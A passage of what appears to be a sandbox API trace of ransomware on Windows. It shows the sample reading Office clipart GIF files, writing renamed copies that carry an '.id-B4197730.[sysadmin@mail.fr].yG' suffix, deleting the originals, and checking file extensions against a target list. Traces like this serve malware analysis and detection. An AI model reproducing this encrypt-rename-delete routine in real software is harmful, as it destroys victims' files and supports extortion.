	[0051.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.894] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.894] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0051.894] GetLastError () returned 0x0
	[0051.894] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1d9f, lpOverlapped=0x0) returned 1
	[0051.920] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1da0, lpOverlapped=0x0) returned 1
	[0051.921] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.921] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.921] SetEndOfFile (hFile=0x2fc) returned 1
	[0051.921] CloseHandle (hObject=0x2fc) returned 1
	[0051.922] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.922] SetEndOfFile (hFile=0x398) returned 1
	[0051.922] CloseHandle (hObject=0x398) returned 1
	[0051.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1
	[0051.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.923] lstrlenW (lpString=".doc") returned 4
	[0051.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.923] lstrlenW (lpString=".docx") returned 5
	[0051.923] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.923] lstrlenW (lpString=".pdf") returned 4
	[0051.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.923] lstrlenW (lpString=".xls") returned 4
	[0051.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.923] lstrlenW (lpString=".xlsx") returned 5
	[0051.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.923] lstrlenW (lpString=".ppt") returned 4
	[0051.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.923] lstrlenW (lpString=".zip") returned 4
	[0051.923] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.924] lstrlenW (lpString=".rar") returned 4
	[0051.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.924] lstrlenW (lpString=".bz2") returned 4
	[0051.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.924] lstrlenW (lpString=".7z") returned 3
	[0051.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.924] lstrlenW (lpString=".dbf") returned 4
	[0051.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.924] lstrlenW (lpString=".1cd") returned 4
	[0051.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.924] lstrlenW (lpString=".jpg") returned 4
	[0051.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.924] lstrlenW (lpString=".doc") returned 4
	[0051.924] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.924] lstrlenW (lpString=".docx") returned 5
	[0051.924] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.924] lstrlenW (lpString=".pdf") returned 4
	[0051.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.924] lstrlenW (lpString=".xls") returned 4
	[0051.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.924] lstrlenW (lpString=".xlsx") returned 5
	[0051.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.924] lstrlenW (lpString=".ppt") returned 4
	[0051.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.924] lstrlenW (lpString=".zip") returned 4
	[0051.924] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.924] lstrlenW (lpString=".rar") returned 4
	[0051.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.924] lstrlenW (lpString=".bz2") returned 4
	[0051.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.924] lstrlenW (lpString=".7z") returned 3
	[0051.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.925] lstrlenW (lpString=".dbf") returned 4
	[0051.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.925] lstrlenW (lpString=".1cd") returned 4
	[0051.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68
	[0051.925] lstrlenW (lpString=".jpg") returned 4
	[0051.925] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.925] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.925] lstrlenW (lpString="AG00165_.GIF") returned 12
	[0051.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.926] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=8582) returned 1
	[0051.926] CloseHandle (hObject=0x398) returned 1
	[0051.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220
	[0051.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.926] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.926] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0051.926] GetLastError () returned 0x0
	[0051.926] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2186, lpOverlapped=0x0) returned 1
	[0051.956] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2190, lpOverlapped=0x0) returned 1
	[0051.957] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.957] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.957] SetEndOfFile (hFile=0x2fc) returned 1
	[0051.958] CloseHandle (hObject=0x2fc) returned 1
	[0051.958] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.958] SetEndOfFile (hFile=0x398) returned 1
	[0051.959] CloseHandle (hObject=0x398) returned 1
	[0051.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1
	[0051.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.959] lstrlenW (lpString=".doc") returned 4
	[0051.959] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.959] lstrlenW (lpString=".docx") returned 5
	[0051.959] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.960] lstrlenW (lpString=".pdf") returned 4
	[0051.960] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.960] lstrlenW (lpString=".xls") returned 4
	[0051.960] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.960] lstrlenW (lpString=".xlsx") returned 5
	[0051.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.960] lstrlenW (lpString=".ppt") returned 4
	[0051.960] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.960] lstrlenW (lpString=".zip") returned 4
	[0051.960] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.960] lstrlenW (lpString=".rar") returned 4
	[0051.960] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.960] lstrlenW (lpString=".bz2") returned 4
	[0051.960] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.960] lstrlenW (lpString=".7z") returned 3
	[0051.960] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.960] lstrlenW (lpString=".dbf") returned 4
	[0051.960] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.960] lstrlenW (lpString=".1cd") returned 4
	[0051.960] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.960] lstrlenW (lpString=".jpg") returned 4
	[0051.960] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.960] lstrlenW (lpString=".doc") returned 4
	[0051.960] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.960] lstrlenW (lpString=".docx") returned 5
	[0051.960] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.960] lstrlenW (lpString=".pdf") returned 4
	[0051.960] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.960] lstrlenW (lpString=".xls") returned 4
	[0051.960] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.960] lstrlenW (lpString=".xlsx") returned 5
	[0051.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.961] lstrlenW (lpString=".ppt") returned 4
	[0051.961] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.961] lstrlenW (lpString=".zip") returned 4
	[0051.961] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.961] lstrlenW (lpString=".rar") returned 4
	[0051.961] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.961] lstrlenW (lpString=".bz2") returned 4
	[0051.961] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.961] lstrlenW (lpString=".7z") returned 3
	[0051.961] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.961] lstrlenW (lpString=".dbf") returned 4
	[0051.961] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.961] lstrlenW (lpString=".1cd") returned 4
	[0051.961] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68
	[0051.961] lstrlenW (lpString=".jpg") returned 4
	[0051.961] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.961] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.961] lstrlenW (lpString="AG00169_.GIF") returned 12
	[0051.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.962] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5375) returned 1
	[0051.962] CloseHandle (hObject=0x398) returned 1
	[0051.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220
	[0051.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.962] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.962] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0051.963] GetLastError () returned 0x0
	[0051.963] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x14ff, lpOverlapped=0x0) returned 1
	[0051.984] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1500, lpOverlapped=0x0) returned 1
	[0051.998] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.998] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.998] SetEndOfFile (hFile=0x2fc) returned 1
	[0051.998] CloseHandle (hObject=0x2fc) returned 1
	[0052.038] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.038] SetEndOfFile (hFile=0x398) returned 1
	[0052.041] CloseHandle (hObject=0x398) returned 1
	[0052.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1
	[0052.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.044] lstrlenW (lpString=".doc") returned 4
	[0052.044] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.044] lstrlenW (lpString=".docx") returned 5
	[0052.044] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.044] lstrlenW (lpString=".pdf") returned 4
	[0052.044] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.044] lstrlenW (lpString=".xls") returned 4
	[0052.044] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.044] lstrlenW (lpString=".xlsx") returned 5
	[0052.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.044] lstrlenW (lpString=".ppt") returned 4
	[0052.044] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.044] lstrlenW (lpString=".zip") returned 4
	[0052.044] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.044] lstrlenW (lpString=".rar") returned 4
	[0052.044] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.044] lstrlenW (lpString=".bz2") returned 4
	[0052.044] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.044] lstrlenW (lpString=".7z") returned 3
	[0052.044] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.044] lstrlenW (lpString=".dbf") returned 4
	[0052.044] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.044] lstrlenW (lpString=".1cd") returned 4
	[0052.044] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.044] lstrlenW (lpString=".jpg") returned 4
	[0052.044] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.044] lstrlenW (lpString=".doc") returned 4
	[0052.044] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.044] lstrlenW (lpString=".docx") returned 5
	[0052.044] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0052.044] lstrlenW (lpString=".pdf") returned 4
	[0052.044] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.045] lstrlenW (lpString=".xls") returned 4
	[0052.045] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.045] lstrlenW (lpString=".xlsx") returned 5
	[0052.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0052.045] lstrlenW (lpString=".ppt") returned 4
	[0052.045] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.045] lstrlenW (lpString=".zip") returned 4
	[0052.045] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.045] lstrlenW (lpString=".rar") returned 4
	[0052.045] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.045] lstrlenW (lpString=".bz2") returned 4
	[0052.045] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.045] lstrlenW (lpString=".7z") returned 3
	[0052.045] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.045] lstrlenW (lpString=".dbf") returned 4
	[0052.045] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.045] lstrlenW (lpString=".1cd") returned 4
	[0052.045] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0052.045] lstrlenW (lpString=".jpg") returned 4
	[0052.045] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.045] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0052.045] lstrlenW (lpString="AG00170_.GIF") returned 12
	[0052.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.046] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=9248) returned 1
	[0052.046] CloseHandle (hObject=0x398) returned 1
